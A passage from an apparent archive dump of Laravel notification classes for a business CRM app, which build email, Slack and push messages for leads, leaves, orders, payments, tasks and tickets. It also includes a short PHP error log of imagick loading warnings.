' . $this->leadFollowup->remark; $mailSubject = ($this->subject) ? __('email.followUpReminder.newFollowUpSubject') : __('email.followUpReminder.subject'); $build ->subject($mailSubject . ' #' . $this->leadFollowup->lead->id . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.followUpReminder.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function toArray($notifiable) { return [ 'follow_up_id' => $this->leadFollowup->id, 'id' => $this->leadFollowup->lead->id, 'created_at' => $this->leadFollowup->created_at->format('Y-m-d H:i:s'), 'heading' => __('email.followUpReminder.subject'), ]; } public function toSlack($notifiable) { $followUpLead = $this->leadFollowup?->lead?->client_name; $followUpDate = $this->leadFollowup?->next_follow_up_date->format($this->company->date_format); $followUpTime = $this->leadFollowup?->next_follow_up_date->format($this->company->time_format); return $this->slackBuild($notifiable) ->content(__('email.followUpReminder.followUpLeadText') .'

' .__('email.followUpReminder.followUpLead') . ' :- ' . $followUpLead . '
' . __('email.followUpReminder.nextFollowUpDate') . ' :- ' . $followUpDate . '
' . __('email.followUpReminder.nextFollowUpTime') . ' :- ' . $followUpTime . '
' . $this->leadFollowup->remark); } } Notifications/LeaveStatusUpdate.php000064400000004534150325104510013473 0ustar00leave = $leave; $this->company = $this->leave->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-leave-application')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('leaves.show', $this->leave->id); if ($this->leave->duration == "multiple") { $url .= '?type=single'; } $url = getDomainSpecificUrl($url, $this->company); $content = __('email.leaves.statusSubject') . '
' . __('app.date') . ': ' . $this->leave->leave_date->format($this->company->date_format) . '
' . __('app.status') . ': ' . $this->leave->status; $build ->subject(__('email.leaves.statusSubject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.leaves.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->leave->toArray(); } } Notifications/ExpenseRecurringStatus.php000064400000007657150325104510014575 0ustar00expense = $expense; $this->company = $this->expense->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'expense-status-changed')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.expenseRecurringStatus.subject'), $this->expense->item_name . ' - ' . __('email.expenseRecurringStatus.text') . ' ' . $this->expense->status . '.'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('recurring-expenses.show', $this->expense->id); $url = getDomainSpecificUrl($url, $this->company); $content = $this->expense->item_name . ' - ' . __('email.expenseRecurringStatus.text') . ' ' . $this->expense->status . '.'; $build ->subject(__('email.expenseRecurringStatus.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.expenseRecurringStatus.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->expense->toArray(); } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.expenseRecurringStatus.text') . ' ' . $this->expense->status . ' - ' . $this->expense->item_name . ' - ' . $this->expense->currency->currency_symbol . $this->expense->price); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.expenseRecurringStatus.subject')) ->setBody($this->expense->item_name . ' - ' . __('email.expenseStatus.text') . ' ' . $this->expense->status . '.'); } } Notifications/error_log000064400000001626150325104510011273 0ustar00[04-Jul-2025 13:15:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:26:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Notifications/NewOrder.php000064400000010060150325104510011604 0ustar00order = $order; $this->company = $this->order->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'order-createupdate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') ? ['mail', 'database'] : ['database']; if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } $subject = (!in_array('client', user_roles()) ? __('email.orders.subject') : __('email.order.subject')); if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, $subject, $this->order->order_number); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage|void */ public function toMail($notifiable) { $build = parent::build($notifiable); if ($this->order) { $url = route('orders.show', $this->order->id); $url = getDomainSpecificUrl($url, $this->company); $subject = (!in_array('client', user_roles()) ? __('email.orders.subject') : __('email.order.subject')); $content = __('email.order.text') . '
' . __('app.orderNumber') . ': ' . $this->order->order_number .'
'; $build ->subject($subject . ' (' . $this->order->order_number . ') - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.order.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject((!in_array('client', user_roles()) ? __('email.orders.subject') : __('email.order.subject'))) ->setBody(__('email.order.text')); } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->order->id, 'order_number' => $this->order->order_number, 'client_id' => $this->order->client_id, ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.orders.subject') . '!*' . "\n" . __('app.orderNumber') . ': ' . $this->order->order_number); } } Notifications/FileUpload.php000064400000004737150325104510012121 0ustar00file = $file; $this->project = Project::findOrFail($this->file->project_id); $this->company = $this->file->project->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'employee-assign-to-project')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = []; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('projects.show', [$this->project->id, 'tab' => 'files']); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.fileUpload.subject') . $this->project->project_name . '
' . __('modules.projects.fileName') . ' - ' . $this->file->filename . '
' . __('app.date') . ' - ' . $this->file->created_at->format($this->company->date_format); $build ->subject(__('email.fileUpload.subject') . ' ' . $this->project->project_name . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.fileUpload.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ // ]; } } Notifications/ProposalSigned.php000064400000006323150325104510013017 0ustar00proposal = $proposal; $this->company = $this->proposal->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'lead-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $this->emailSetting->send_email == 'yes' && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = url()->temporarySignedRoute('front.proposal', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $this->proposal->hash); $url = getDomainSpecificUrl($url, $this->company); if ($this->proposal->status == 'accepted') { $content = __('app.proposal') . ' ' . __('app.number') . ': ' . $this->proposal->proposal_number . '' . '
' . __('app.status') . ' : ' . $this->proposal->status; $build ->subject(__('email.proposalSigned.subject') . ' (' . $this->proposal->proposal_number . ')' ) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('app.view') . ' ' . __('app.proposal'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } $content = __('app.proposal') . ' ' . __('app.number') . ': ' . $this->proposal->proposal_number . '' . '
' . __('email.proposalRejected.rejected') . ' : ' . $this->proposal->client_comment . '
' . __('app.status') . ': ' . $this->proposal->status; $build ->subject(__('email.proposalRejected.subject') . ' (' . $this->proposal->proposal_number . ')' ) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('app.view') . ' ' . __('app.proposal'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->proposal->toArray(); } } Notifications/NewDiscussion.php000064400000007414150325104510012665 0ustar00discussion = $discussion; $this->company = $this->discussion->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'discussion-reply')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.discussion.subject'), $this->discussion->title); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('discussion.show', $this->discussion->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.discussion.subject') . ' ' . $this->discussion->title . ':-'; $build ->subject(__('email.discussion.subject') . $this->discussion->title . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.discussion.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->discussion->id, 'title' => $this->discussion->title, 'project_id' => $this->discussion->project_id, 'user' => $this->discussion->user->name ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.discussion.subject') . '*' . "\n" . $this->discussion->title); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.discussion.subject')) ->setBody($this->discussion->title); } } Notifications/NewPayment.php000064400000011462150325104510012155 0ustar00payment = $payment; $this->company = $this->payment->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'payment-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.payment.subject'), $this->payment->currency->currency_symbol . $this->payment->amount); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage|void */ public function toMail($notifiable) { $build = parent::build($notifiable); if (($this->payment->project_id && $this->payment->project->client_id != null) || ($this->payment->invoice_id && $this->payment->invoice->client_id != null)) { $url = route('payments.show', $this->payment->id); $url = getDomainSpecificUrl($url, $this->company); $payment_gateway = !is_null($this->payment->gateway) ? $this->payment->gateway . (($this->payment->offlineMethods) ? ' (' . $this->payment->offlineMethods->name . ')' : '') : '--'; $payment_invoice = $this->payment->invoice->custom_invoice_number ?? '--'; $projectName = $this->payment->project->project_name ?? '--'; $clientName = $this->payment->invoice->client->name ?? '--'; $clientEmail = $this->payment->invoice->client->email ?? '--'; $subject = __('email.payment.clientsubject') . ' (' . $this->payment->invoice->invoice_number . ') - ' . config('app.name') . '.'; if ($notifiable->hasRole('admin')) { $subject = __('email.payment.subject') . ' (' . $this->payment->invoice->invoice_number . ') - ' . config('app.name') . '.'; $content = __('email.payment.text') . '
' . __('email.payment.amount') . ' : ' . $this->payment->currency->currency_symbol . $this->payment->amount . '
' . __('email.payment.method') . ' : ' . $payment_gateway . '
' . __('email.payment.invoiceNumber') . ' : ' . $payment_invoice . '
' . __('email.payment.Project') . ' : ' . $projectName . '
' . __('email.payment.clientName') . ' : ' . $clientName . '
' . __('email.payment.clientEmail') . ' : ' . $clientEmail; } else { $content = __('email.payment.text') . '
' . __('email.payment.amount') . ' : ' . $this->payment->currency->currency_symbol . $this->payment->amount . '
' . __('email.payment.method') . ' : ' . $payment_gateway . '
' . __('email.payment.invoiceNumber') . ' : ' . $payment_invoice; } $paymentController = new PaymentController(); $pdfOption = $paymentController->domPdfObjectForDownload($this->payment->id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; $build->attachData($pdf->output(), $filename . '.pdf'); $build ->subject($subject) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.payment.action'), 'notifiableName' => $notifiable->name, ]); parent::resetLocale(); return $build; } } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->payment->toArray(); } } Notifications/SubTaskCreated.php000064400000002000150325104510012716 0ustar00subTask = $subTask; $this->company = $this->subTask->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function via($notifiable) { $via = ['database']; return $via; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->subTask->task->id, 'created_at' => $this->subTask->created_at->format('Y-m-d H:i:s'), 'heading' => $this->subTask->title ]; } } Notifications/NewIssue.php000064400000003150150325104510011623 0ustar00issue = $issue; $this->company = $this->issue->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function via($notifiable) { return ['database']; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('login'); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.notificationIntro'); $build ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.notificationAction') ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->issue->toArray(); } } Notifications/TaskMention.php000064400000010521150325104510012315 0ustar00task = $task; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newTask.mentionSubject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $dueDate = (!is_null($this->task->due_date)) ? $this->task->due_date->format($this->company->date_format) : null; $content = __('email.newTask.mentionTask') . '

' . $this->task->heading . ' #' . $this->task->task_short_code . '

' . __('app.dueDate') . ': ' . $dueDate . '

'; return parent::build($notifiable) ->subject(__('email.newTask.mentionSubject') . ' #' . $this->task->task_short_code . ' - ' . config('app.name') . '.') ->markdown( 'mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskUpdate.action'), 'notifiableName' => $notifiable->name ] ); } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $dueDate = (!is_null($this->task->due_date)) ? $this->task->due_date->format($this->company->date_format) : null; $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); return $this->slackBuild($notifiable) ->content('*' . __('email.newTask.mentionSubject') . '*' . "\n" . '<' . $url . '|' . $this->task->heading . '>' . "\n" . ' #' . $this->task->task_short_code . "\n" . __('app.dueDate') . ': ' . $dueDate . (!is_null($this->task->project) ? "\n" . __('app.project') . ' - ' . $this->task->project->project_name : '')); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->subject(__('email.newTask.mentionSubject')) ->body($this->task->heading); } } Notifications/NewDiscussionReply.php000064400000010526150325104510013677 0ustar00discussionReply = $discussionReply; $this->company = $this->discussionReply->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'discussion-reply')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds,$this->discussionReply->user->name . ' ' . __('email.discussionReply.subject'), $this->discussionReply->discussion->title); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('discussion.show', $this->discussionReply->discussion_id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.discussionReply.text') . ' ' . $this->discussionReply->discussion->title . ':-' . '
' . new HtmlString($this->discussionReply->body); $build ->subject($this->discussionReply->user->name . ' ' . __('email.discussionReply.subject') . $this->discussionReply->discussion->title . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.discussionReply.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->discussionReply->id, 'title' => $this->discussionReply->discussion->title, 'discussion_id' => $this->discussionReply->discussion_id, 'user' => $this->discussionReply->user->name, 'body' => $this->discussionReply->body, 'project_id' => $this->discussionReply->discussion->project_id ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . $this->discussionReply->user->name . ' ' . __('email.discussionReply.subject') . $this->discussionReply->discussion->title . '*' . "\n" . $this->discussionReply->body); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.discussionReply.subject')) ->setBody($this->discussionReply->discussion->title); } } Notifications/NewNotice.php000064400000007111150325104510011755 0ustar00notice = $notice; $this->company = $this->notice->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-notice-published')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active' && $this->notice->to != 'client') { array_push($via, 'slack'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newNotice.subject'), $this->notice->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('notices.show', $this->notice->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newNotice.text') . '
' . $this->notice->heading; $build ->subject(__('email.newNotice.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newNotice.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->notice->toArray(); } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.newNotice.subject') . ' : ' . $this->notice->heading . '*' . "\n" . strip_tags($this->notice->description)); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.newNotice.subject')) ->setBody($this->notice->heading); } } Notifications/TestSlack.php000064400000003046150325104510011762 0ustar00markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.notificationAction') ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ // ]; } public function toSlack($notifiable) { if ($this->slackUserNameCheck($notifiable)) { return $this->slackBuild($notifiable) ->content('This is a test notification.'); } return $this->slackRedirectMessage('email.test.slack', $notifiable); } } Notifications/MentionTicketAgent.php000064400000007741150325104510013627 0ustar00ticket = $ticket; // We need to set the company in parent BaseNotification for getting proper // email of sender $this->company = $this->ticket->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-support-ticket-request')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.ticketAgent.mentionSubject'), $this->ticket->subject); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('tickets.show', $this->ticket->ticket_number); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.ticketAgent.mentionedText') . '
' . __('modules.tickets.ticket') . ' # ' . $this->ticket->id . '
' . __('app.subject') . ' - ' . $this->ticket->subject; $build ->subject(__('email.ticketAgent.mentionSubject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.ticketAgent.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->ticket->id, 'subject' => $this->ticket->subject ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.ticketAgent.mentionSubject') . '*' . "\n" . $this->ticket->subject . "\n" . __('modules.tickets.requesterName') . ' - ' . $this->ticket->requester->name); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.ticketAgent.mentionSubject')) ->setBody(__('email.ticketAgent.mentionedText')); } } Notifications/RemovalRequestApprovedReject.php000064400000003776150325104510015713 0ustar00type = $type; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array(); if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); if ($this->type == 'approved') { $content = __('email.removalRequestApproved.text'); $build ->subject(__('email.removalRequestApproved.subject') . ' ' . config('app.name') . '.') ->markdown('mail.email', [ 'content' => $content, 'notifiableName' => $notifiable->client_name ]); parent::resetLocale(); return $build; } $content = __('email.removalRequestReject.text'); $build ->subject(__('email.removalRequestReject.subject') . ' ' . config('app.name') . '.') ->markdown('mail.email', [ 'content' => $content, 'notifiableName' => $notifiable->client_name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ // ]; } } Notifications/NewUser.php000064400000005412150325104510011454 0ustar00password = $password; $this->company = $user->company; // When there is company of user. if ($this->company) { $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'user-registrationadded-by-admin')->first(); } } /** * Get the notification's delivery channels. *t('mail::layout') * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if (is_null($this->company)) { array_push($via, 'mail'); return $via; } if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newUser.subject'), $notifiable->name); } return $via; } /** * Get the mail 